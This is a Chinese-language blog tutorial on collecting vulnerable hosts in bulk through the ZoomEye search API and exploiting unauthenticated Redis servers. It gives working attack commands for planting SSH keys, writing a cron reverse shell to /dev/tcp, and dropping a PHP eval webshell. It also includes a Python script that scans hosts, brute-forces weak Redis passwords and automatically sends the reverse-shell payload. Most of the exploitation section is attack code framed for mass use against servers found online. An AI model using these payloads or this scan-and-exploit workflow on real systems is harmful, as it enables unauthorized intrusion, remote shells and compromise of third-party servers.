介绍
Zoomeye是知道创宇开发的一款很厉害的搜索引擎,不过相对于传统的百度,它是用作搜索主机设备,web应用指纹。
ZoomEye 支持公网设备指纹检索和 Web
指纹检索网站指纹包括应用名、版本、前端框架、后端框架、服务端语言、服务器操作系统、网站容器、内容管理系统和数据库等。设备指纹包括应用名、版本、开放端口、操作系统、服务名、地理位置等
如果我们掌握了某个cms的版本漏洞(0day or not),或者是某个主机端口服务存在可以利用的漏洞,都可以通过zoomeye快速获取到大批量指定cms,版本,端口的主机和网站,然后……._。
Zoomeye 这个是zoomeye的官方网站
如果你只是需要几个ip或者网站测试一下,那上官网找几个就OK了,但是你想要结合自动化脚本进行批量测试(即使存在漏洞,可能由于漏洞执行的条件比较苛刻,成功率较低),那么获取批量ip的步骤是必不可少的。通过官网手动找ip的方式略显费力,耗神还麻烦,好在zoomeye为广大开发者提供了api,我们就可以调用api从而获取大量符合条件的ip或者网址来结合我们的自动化脚本了。
Zoomeye开发者文档
Zoomeye的api调用起来很方便快捷,不过通过api查询的次数有资源限额的,所以要注意控制下每次的查询量。
Zoomeye的api的调用逻辑
1. 用户登录,获取访问凭证 (token),同时token有时效性
2. 调用api查询,需要提供token
获取Token代码
user = input('[-] input : username :')
password = input('[-] input : password :')
data = {
'username': user,
'password': password
}
data_encoded = json.dumps(data)
try:
r = requests.post(url='https://api.zoomeye.org/user/login', data=data_encoded)
r_decoded = json.loads(r.text)
access_token = r_decoded['access_token']
except Exception as e:
print('[-] info : username or password is wrong, please try again ')
return None
return access_token
Api查询
def apiTest(headers, config, page=1):
if 'ver' in config.keys():
base_url = 'https://api.zoomeye.org/host/search?query='
else:
base_url = 'https://api.zoomeye.org/web/search?query='
for key, value in config.items():
if value is None:
continue
else:
base_url += str(key)+':'+(value)
base_url += '&'
base_url += 'page='
for i in range(page):
url = base_url+str(i+1)
print(url)
try:
r = requests.get(url=url, headers=headers)
r_decoded = json.loads(r.text)
for x in r_decoded['matches']:
print(x['ip'])
ip_list.add(x['ip'])
except Exception as e:
print('[-] info : ' + str(e))
上面只是比较关键的代码,全部的代码在这代码地址
Redis未授权访问
Redis是一个开源的使用ANSI C语言编写、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库。
而Redis未授权访问指的是Redis数据库没有做好严格的访问权限控制,使得匿名攻击者可以直接或者通过弱密码访问数据库,窃取数据库中的信息,并且利用Redis数据库进行进一步渗透工作。
Redis作用
在linux 安装Redis, redis-cli -h xxx.xxx.xxx.xxx
连接远程redis服务端
Redis主要可以干什么
- 操控当前数据库内容
- 获取并设置Redis当前操作路径
- 注意:这个设置操作路径需要提供系统的绝对路径,Redis是没办法查看系统的路径和文件的,所以路径只能通过爆破来写
- 写文件
- 同样需要一定条件
- 获得粗略的系统信息
如果你与目标主机的Redis连接后,你可以用一下几个命令测试下目前Redis的权限和功能
1. save
,可以保存Redis中的数据到硬盘,如果命令save'返回ERR,那么可以选择放弃这个漏洞了,因为你做的所有都仅仅处于数据库内存中,没办法被其他系统服务利用。
config set dir /root/.ssh` 如果目标系统是Linux且有ssh服务,那么这个指令可以切换到ssh目录下,不过如果redis权限较低的话是没有权限访问该目录的。
2.
经过我的实验发现,有效利用redis未访问漏洞可以根据权限分成下面两种方式:
1. Redis权限较高,可以写ssh或者反弹shell
2. Redis权限较低,可以写网站webshell文件
我有高权限
- 可以往系统ssh服务中写ssh文件,从而通过外部主机匿名ssh连接目标服务器(主机可能禁用ssh密码登录服务)
ssh-keygen -t rsa
(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > key.txt
cat /root/.ssh/key.txt | redis-cli -h 192.168.10.153 -x set xxx
redis-cli -h 192.168.10.153
设置redis的备份路径为/root/.ssh和保存文件名authorized_keys
config set dir /root/.ssh
config set dbfilename authorized_keys
config_set
save
- 在crontab里写定时任务,反弹shell,这个比较靠谱
nc -l 4444 //监听端口
redis-cli -h 192.168.152.128
set xxx "\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/your_ip/4444 0>&1\n\n"
config set dir /var/spool/cron
config set dbfilename root
save
高权限嘛,考虑的都是拿服务器的事情。
我权限低
权限再低,我还是可以写文件嘛,写病毒木马不说,最直接的想法是写webshell
不过写webshell需要三个条件:
– 服务器有WEB应用
– 你找得到WEB应用的路径
– WEB应用是什么语言写的
- 服务器有WEB应用
上述写ssh,反弹webshell都是linux下的姿势,windows我也不太懂,不过如果os是windows写不了ssh,那么一般可以这样搞,就是搞web应用。可以用nmap扫一下主机开了啥端口,80,8080,443都可以关注一下。写webshell肯定需要web的嘛 - WEB应用的路径
因为Redis是没有办法查询路径的,所以你要写webshell首先需要获得网站的绝对路径。这个其实说麻烦也麻烦,说简单也简单,如果一个网站比较好,把报错信息都处理好,且路径设置得比较贼,一般是获取不到网站的绝对路径的。所以在这一步上,其实很看运气! - 识别后台语言
这一步相对而言比较简单,方便我们有针对性的写webshell嘛。一般有绝对路径,这一步肯定可以知道的。
写Webshell其实和写ssh一样,只是路径等变化了而已
redis-cli -h 192.168.152.128
config set dir /var/www/html
set xxx "\n\n\n<?php eval($_POST['leslie']);?>\n\n\n"
config set dbfilename webshell.php
save
上述都是手动操作,有了Zoomeye获得大量ip,一个一个去试可是很麻烦的,写一个自动化脚本跑很省力.
import socket
import sys
web_ip_set = set()
root_ip_set = set()
save_ip_set = set()
password_ip_set = set()
def check(ip, port, timeout):
socket.setdefaulttimeout(timeout)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip, int(port)))
s.send('save\r\n'.encode('utf-8'))
result = str(s.recv(1024))
if 'OK' in result:
print('It can save the file to the disk')
s.send('config set dir /root/.ssh\r\n'.encode('utf-8'))
result = str(s.recv(1024))
if 'Permission denied' in result:
print('Permission denied')
save_ip_set.add(ip)
elif 'OK' in result:
print('It probably can write the ssh !!')
root_ip_set.add(ip)
else:
print('It may be the windows os')
save_ip_set.add(ip)
s.send('config set dir /var/www/html\r\n'.encode('utf-8'))
result = str(s.recv(1024))
if 'OK' in result:
print('/var/www/html may have the web app')
web_ip_set.add(ip)
else:
print('/var/www/html dont have web app, your can scan the ports of it')
save_ip_set.add(ip)
elif "Authentication" in result:
for pass_ in PASSWORD_DIC:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip, int(port)))
s.send(("AUTH %s\r\n" % (pass_)).encode('utf-8'))
result = s.recv(1024)
if 'OK' in result:
password_ip_set.add(ip)
return "ip %s 存在弱口令,密码:%s" % (ip, pass_)
else:
print('Just give up this ip, it can not save the data')
def auto_attack(ip, port,timeout):
socket.setdefaulttimeout(timeout)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip, int(port)))
payload = ['set xxx "\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/192.168.152.129/4444 0>&1\n\n"',
'config set dir /var/spool/cron',
'config set dbfilename root',
'save']
for i in payload:
s.send(i.encode('utf-8'))
result = s.recv(1024)
print(result)
if __name__ == '__main__':
import time
PASSWORD_DIC = ['redis', 'root', 'oracle', 'password', 'p@aaw0rd', 'abc123!', '123456', 'admin']
data = time.ctime() + '\n'
for i in root_ip_set:
data += '[Root] %s \n'% i
for i in web_ip_set:
data += '[Web] %s \n' % i
for i in save_ip_set:
data += '[Save] %s \n' % i
for i in password_ip_set:
data += '[Pass] %s \n' % i
with open('Redis_unauth_access.txt', 'w+') as f:
f.write(data)
check('xxx.xxx.xxx.xxx', '6379', 30)
总结
- 利用zoomeye的Api,我们可以批量获取符合条件的主机,对于我们的web渗透的能力提升十分有帮助,结合自动化脚本,可以实现批量的漏洞验证,节省了大量的测试时间和精力
- 认识了Redis未授权访问漏洞,并且通过实践去测试Redis未授权访问漏洞到底可以干什么,限制条件在哪里等等,很多事情都是理论上直接getshell,实际上都是Permission denied and Error !!!